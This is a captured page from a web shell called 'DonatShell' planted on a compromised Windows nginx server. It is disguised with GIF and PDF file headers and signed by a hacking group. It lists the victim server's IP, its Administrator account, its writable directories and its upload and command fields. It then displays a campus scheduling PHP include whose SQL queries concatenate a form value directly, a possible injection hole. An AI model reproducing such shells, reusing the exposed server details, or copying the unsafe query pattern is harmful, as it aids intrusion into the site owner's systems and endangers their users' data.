GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Scheduler/Schedule/Building/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Scheduler/Schedule/Building/buildingFormPreset.phpinc
<?
// buildingFormPreset.phpinc
// Get original data and preset the building form.
t_Begin(); // Begin TRACKing included file.
// Ensure primary key is set.
if ( !isset($f['buildingId']) ) { formValue('buildingId'); if ( !$f['buildingId'] ) $f['buildingId'] = 0; }
// Get original building data.
if ( $f['buildingId'] ) {
  // $f['buildingId'] is set. Load original data from database.
  $query = "
    SELECT * FROM `building`
     WHERE buildingId = ".$f['buildingId']."
  ";
  $buildingResult = query_do($query,'scheduler');
  $buildingCount = $GLOBALS['_QUERY']['count'];
  if ( $buildingCount == 1 ) {
    // Load original data from record.
    query_seek($buildingResult, 0);
    $buildingInfo = mysql_fetch_assoc($buildingResult);
    $o['campusId'] = $buildingInfo['campusId'];
    $o['buildingCode'] = $buildingInfo['buildingCode'];
    $o['buildingName'] = $buildingInfo['buildingName'];
  } else {
    // The record count was not 1. This is an error.
    programmingError('Record count ('.$buildingCount.') for buildingId='.$f['buildingId'].' was not 1.');
  }
} else {
  // $f['buildingId'] is 0. This is an add form. Set form_building data to default values.
  $f['buildingId'] = 0;
  $f['campusId'] = 0;
  if ( !isset($o['buildingCode']) ) $o['buildingCode'] = NULL;
  if ( !isset($o['buildingName']) ) $o['buildingName'] = NULL;
}
// Preset building form data.
if ( $f['form'] != 'form_building' ) {
  // form_building not called by itself. Preload data for form.
  if ( $f['buildingId'] ) {
    // $f['buildingId'] is set. This is an edit form. Load form_building data from database.
    /** / // Remove this section if original data is obtained above.
    $query = "
      SELECT * FROM `building`
       WHERE buildingId = ".$f['buildingId']."
    ";
    $buildingResult = query_do($query,'scheduler');
    $buildingCount = $GLOBALS['_QUERY']['count'];
    /**/ // Remove this section if original data is obtained above.
    if ( $buildingCount == 1 ) {
      // Load original data from record.
      query_seek($buildingResult, 0);
      $buildingInfo = mysql_fetch_assoc($buildingResult);
      $f['campusId'] = $buildingInfo['campusId'];
      $f['buildingCode'] = $buildingInfo['buildingCode'];
      $f['buildingName'] = $buildingInfo['buildingName'];
    } else {
      // The record count was not 1. This is an error.
      programmingError('Record count ('.$buildingCount.') for buildingId='.$f['buildingId'].' was not 1.');
  }
  } else {
    // $f['buildingId'] is 0. This is an add form. Set form_building data to default values.
    $f['buildingId'] = 0;
    $f['campusId'] = 0;
    if ( !isset($f['buildingCode']) ) $f['buildingCode'] = NULL;
    if ( !isset($f['buildingName']) ) $f['buildingName'] = NULL;
  }
}
t_End(); // End TRACKing included file.
?>

Anon7 - 2022
AnonSec Team